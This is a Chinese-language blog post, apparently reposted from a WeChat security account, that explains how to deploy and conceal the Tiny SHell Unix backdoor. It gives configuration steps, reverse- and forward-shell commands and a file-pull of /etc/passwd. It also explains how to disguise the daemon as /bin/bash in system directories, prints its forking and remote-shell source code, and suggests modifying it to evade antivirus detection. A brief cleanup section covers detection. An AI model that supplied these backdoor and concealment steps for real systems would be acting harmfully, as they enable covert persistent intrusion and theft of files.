0x00 TSH简介
Tiny SHell即TSH是Orange于8年前开发的一款开源的UNIX后门工具,由C编写,体积Tiny。
支持功能:
-
正向/反向连接模式;
-
文件传输;
-
加密通信;
地址:https://github.com/orangetw/tsh
0x01 工具使用
下载:
git clone https://github.com/orangetw/tsh.git
修改tsh.h文件,主要修改密钥和控制端地址(如果使用反向连接):
char *secret = "replace with your password";
参数说明:
-
secret:用于加密控制端和被控端之间通信的数据,这里所有通信都经过AES加密处理,密钥的长度任意(最好大于12,更安全);
-
SERVER_PORT:服务端监听端口号;
-
FAKE_PROC_NAME:用于伪装显示后门运行后的进程名字(用
ps -ef
或者netstat
查看显示的进程名字); -
CONNECT_BACK_HOST:控制端地址;
-
CONNECT_BACK_DELAY:连接延时,默认延时单位为秒;
编译,参数从linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf
中选择,我本地环境为linux:
make linux
编译完成后,在当前目录中会生成tsh和tshd两个文件。
反向连接
前提准备是在编译前将tsh.h文件中的CONNECT_BACK_HOST设置为反向连接的控制端地址后再进行编译操作:
在控制端运行tsh程序开启监听:
chmod u+x tsh
./tsh cb
在被控制端运行tshd即可定时反弹shell:
chmod u+x tshd
./tshd
正向连接
在编译前注释掉tsh.h文件中关于反向连接的两个设置:
//#define CONNECT_BACK_HOST "控制端地址"
//#define CONNECT_BACK_DELAY 30
先在被控制端运行tshd:
chmod u+x tshd
./tshd
然后在控制端运行tsh程序发起正向连接:
chmod u+x tsh
./tsh 被控制端IP
文件传输
正向连接下载文件:
./tsh 被控制端IP get /etc/passwd ./
上传文件改为put即可:
./tsh 被控制端IP put aaa.sh /tmp
简单隐蔽
前面的默认操作隐蔽性弱、容易被用户发现,比如不修改程序名直接运行的话通过lsof命令还是能看到原程序名的:
修改下名称:
mv tshd bash
看到还是有个缺点,就是通过pwdx命令查看程序所在路径会有所暴露,因此可以进一步移动到可执行程序常在的目录中伪装,一般系统的bash位于/bin/bash
或/usr/bin/bash
,笔者的环境/usr/bin
下没有bash就放到这里了,其他如/usr/sbin
目录也可以:
但是遇到个问题,放到目录下无法正常正向连接。参考这篇文章说的,在tsh.c中看到是执行bash --login
命令的,但是该bash程序并没有指定执行的路径,依靠目标环境变量PATH的值设置的路径来逐个寻找:
而测试的目标主机PATH环境变量为PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
,即/usr/bin
在正常bash目录/bin
的前面,导致没有执行到正常的bash。因此修改下其中的bash为绝对路径的bash即可:
重新编译上传运行,就OK了:
看到ps -ef
命令的结果,其中-bash
是正常的bash进程,而12611和12613都是后门守护进程、其伪装成/bin/bash
,12614为后门守护进程执行系统命令exec /bin/bash --login
反弹的shell进程。
除此之外,连接的端口号也需要改为常用的端口以便于隐藏。
0x02 后门清理
以反连为例,查看异常bash连接端口、进程ID等,如果攻击者没有修改程序名且没有魔改直接编译使用的话,可以通过对比看/proc/pid/comm
的真实进程名来查杀即可:
正连类似的,用lsof命令也能直接分析出来。
至于修改程序名或魔改后的后门程序,可自行根据实际情况分析,这里没有细究。
0x03 原理浅析
tsh代码简洁,这里仅看看它服务端即tshd的关键部分。
执行后门tshd后,先是重写cmdline为用户设置的伪装进程名(默认为/bin/bash
),然后主进程会fork一个子进程1,父进程退出,该子进程1则成为孤儿进程被init托管:
/* overwrite cmdline */
memset((void *)argv[0], '', strlen(argv[0]));
strcpy(argv[0], FAKE_PROC_NAME);
/* fork into background */
pid = fork();
if( pid < 0 )
{
return( 1 );
}
if( pid != 0 )
{
return( 0 );
}
在后面的循环处理中,当子进程1成功连接上控制端监听的端口之后,会又fork一个子进程2用于处理建立好的连接,而该子进程2的父进程即子进程1会等待子进程2执行完再继续往下执行:
/* fork a child to handle the connection */
pid = fork();
if( pid < 0 )
{
close( client );
continue;
}
if( pid != 0 )
{
waitpid( pid, NULL, 0 );
close( client );
continue;
}
子进程2接着会fork一个子进程3,然后子进程2退出,从而使得子进程3脱离了其祖父进程即子进程1成为孤儿进程、被init托管、成为守护进程,子进程3中开始真正进行交互shell/文件传输操作:
/* the child forks and then exits so that the grand-child's
* father becomes init (this to avoid becoming a zombie) */
pid = fork();
if( pid < 0 )
{
return( 8 );
}
if( pid != 0 )
{
return( 9 );
}
/* setup the packet encryption layer */
...
/* get the action requested by the client */
...
/* howdy */
switch( message[0] )
{
case GET_FILE:
ret = tshd_get_file( client );
break;
case PUT_FILE:
ret = tshd_put_file( client );
break;
case RUNSHELL:
ret = tshd_runshell( client );
break;
default:
ret = 12;
break;
}
shutdown( client, 2 );
return( ret );
而在后面调用tshd_runshell()函数中,其中会再次fork子进程4来专门进行新建会话来反弹shell,而子进程4的父进程即子进程3则进行信息的接受和发送:
/* fork to spawn a shell */
pid = fork();
if( pid < 0 )
{
return( 43 );
}
if( pid == 0 )
{
/* close the client socket and the pty (master side) */
close( client );
close( pty );
/* create a new session */
if( setsid() < 0 )
{
return( 44 );
}
/* set controlling tty, to have job control */
if( ioctl( tty, TIOCSCTTY, NULL ) < 0 )
{
return( 45 );
}
{
int fd;
fd = open( slave, O_RDWR );
if( fd < 0 )
{
return( 46 );
}
close( tty );
tty = fd;
}
/* tty becomes stdin, stdout, stderr */
dup2( tty, 0 );
dup2( tty, 1 );
dup2( tty, 2 );
if( tty > 2 )
{
close( tty );
}
/* fire up the shell */
shell = (char *) malloc( 8 );
if( shell == NULL )
{
return( 47 );
}
shell[0] = '/'; shell[4] = '/';
shell[1] = 'b'; shell[5] = 's';
shell[2] = 'i'; shell[6] = 'h';
shell[3] = 'n'; shell[7] = '';
execl( shell, shell + 5, "-c", temp, (char *) 0 );
/* d0h, this shouldn't happen */
return( 48 );
}
else
{
/* tty (slave side) not needed anymore */
close( tty );
/* let's forward the data back and forth */
while( 1 )
{
FD_ZERO( &rd );
FD_SET( client, &rd );
FD_SET( pty, &rd );
n = ( pty > client ) ? pty : client;
if( select( n + 1, &rd, NULL, NULL, NULL ) < 0 )
{
return( 49 );
}
if( FD_ISSET( client, &rd ) )
{
ret = pel_recv_msg( client, message, &len );
if( ret != PEL_SUCCESS )
{
return( 50 );
}
if( write( pty, message, len ) != len )
{
return( 51 );
}
}
if( FD_ISSET( pty, &rd ) )
{
len = read( pty, message, BUFSIZE );
if( len == 0 ) break;
if( len < 0 )
{
return( 52 );
}
ret = pel_send_msg( client, message, len );
if( ret != PEL_SUCCESS )
{
return( 53 );
}
}
}
return( 54 );
}
小结下来,大致如下:
father -> X
-> child1
|
----
|
init -> child1 -> # waitpid(child2)
-> child2 -> X
-> child3
|
---------------------
|
init -> child3 -> # send & receive message
-> child4 # reverse shell
当然,可以自行魔改实现更高的隐蔽性和更强的免杀。
0x04 参考
https://cloud.tencent.com/developer/article/1047029
原文始发于微信公众号(98KSec):Unix后门Tiny SHell工具浅析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论